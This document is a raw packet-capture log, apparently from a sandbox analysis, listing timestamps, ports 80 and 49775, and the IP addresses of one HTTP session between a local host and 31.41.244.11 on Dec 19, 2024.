Dec 19, 2024 14:10:20.241492033 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.241503000 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.241525888 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.241549015 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.241842031 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.241903067 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.242574930 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.242638111 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.243211985 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.243261099 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.243408918 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.243462086 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.244461060 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.244498968 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.244513988 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.244548082 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.244652987 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.244687080 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.244709969 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.244724035 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.244729042 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.244760036 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.244767904 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.244806051 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.245316982 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.245364904 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.245428085 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.245481014 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.246155977 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.246201038 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.246277094 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.246325970 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.246941090 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.246999979 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.247088909 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.247148037 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.248234034 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.248286009 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.248565912 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.248620987 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.249114990 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.249178886 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.249202967 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.249267101 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.250157118 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.250210047 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.250211000 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.250256062 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.250871897 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.250919104 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.251013041 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.251068115 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.251744986 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.251796961 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.251801014 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.251847029 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.252655983 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.252724886 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.252753973 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.252801895 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.253391981 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.253441095 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.253573895 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.253628969 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.254249096 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.254295111 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.254465103 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.254606962 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.255254030 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.255316973 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.255368948 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.255413055 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.256036997 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.256088972 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.256371975 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.256423950 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.256941080 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.256997108 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.257116079 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.257174015 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.257828951 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.257882118 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.258049965 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.258105040 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.258945942 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.259000063 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.259223938 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.259268999 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.260004044 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.260051966 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.260186911 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.260237932 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.260977983 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.261030912 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.261168003 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.261217117 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.261883974 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.261934042 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.262104034 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.262157917 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.262790918 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.262840033 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.262878895 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.262929916 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.263637066 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.263689041 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.263736010 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.263784885 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.264178038 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.264228106 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.264394045 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.264448881 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.265057087 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.265105009 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.265250921 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.265300035 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.266299963 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.266351938 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.266417980 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.266465902 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.267333984 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.267376900 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.267385960 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.267430067 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.268156052 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.268207073 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.268217087 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.268273115 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.268979073 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.269027948 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.269066095 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.269114971 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.269851923 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.270000935 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.270001888 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.270046949 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.270715952 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.270764112 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.270848989 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.270962954 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.271506071 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.271559000 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.271624088 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.271673918 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.272433996 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.272481918 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.272535086 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.272574902 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.274061918 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.274115086 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.274240017 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.274279118 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.275208950 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.275260925 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.275329113 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.275373936 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.276298046 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.276349068 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.276429892 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.276479006 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.277242899 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.277292013 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.277340889 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.277375937 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.278115034 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.278170109 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.278196096 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.278248072 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.278954029 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.278990984 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.279011011 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.279030085 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.279562950 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.279619932 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.279655933 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.279700041 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.280205011 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.280253887 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.280339956 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.280390024 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.281343937 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.281379938 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.281395912 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.281424046 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.281791925 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.281846046 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.281924963 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.281990051 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.282435894 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.282516956 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.282546043 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.282569885 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.283111095 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.283163071 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.283227921 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.283276081 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.283935070 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.283992052 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.284181118 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.284230947 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.284879923 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.284970999 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.284998894 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.285023928 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.285684109 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.285736084 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.430598021 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.430630922 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.430665016 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.430687904 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.430721045 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.430775881 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.431000948 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.431051970 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.431699038 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.431842089 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.431864023 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.431974888 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.432547092 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.432596922 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.432657003 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.432869911 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.433437109 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.433490992 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.433604956 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.433655024 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.434465885 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.434518099 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.434575081 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.434624910 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.435242891 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.435306072 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.435396910 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.435452938 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.436182976 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.436274052 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.436306953 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.436359882 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.437026024 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.437076092 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.437079906 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.437144041 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.437918901 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.437968016 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.438039064 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.438088894 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.438834906 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.438889027 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.438968897 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.439136028 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.439750910 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.439801931 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.439810038 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.439840078 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.440670013 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.440727949 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.440754890 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.440804958 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.441701889 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.441824913 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.441852093 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.441865921 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.442596912 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.442668915 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.442668915 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.442724943 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.443483114 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.443535089 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.443571091 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.443628073 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.444231033 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.444297075 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.444374084 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.444433928 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.445250988 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.445302010 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.445310116 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.445348024 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.446099043 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.446154118 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.446234941 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.446367979 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.446999073 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.447056055 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.447256088 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.447319031 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.447892904 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.447947979 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.448124886 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.448180914 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.448786974 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.448844910 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.448959112 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.449157953 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.449697018 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.449754953 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.449944019 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.449995041 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.450676918 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.450725079 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.450887918 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.450995922 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.451487064 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.451538086 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.451659918 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.451735020 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.452415943 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.452462912 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.452469110 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.452517986 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.453283072 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.453336000 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.453416109 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.453474045 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.454298973 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.454350948 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.454351902 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.454401970 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.455094099 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.455147028 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.455216885 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.455267906 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.456345081 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.456403971 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.456454992 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.456504107 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.457268953 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.457323074 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.457537889 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.457604885 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.458049059 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.458098888 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.458158970 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.458210945 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.458754063 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.458806992 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.458863974 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.458905935 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.459759951 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.459878922 CET	80	49775	31.41.244.11	192.168.2.4
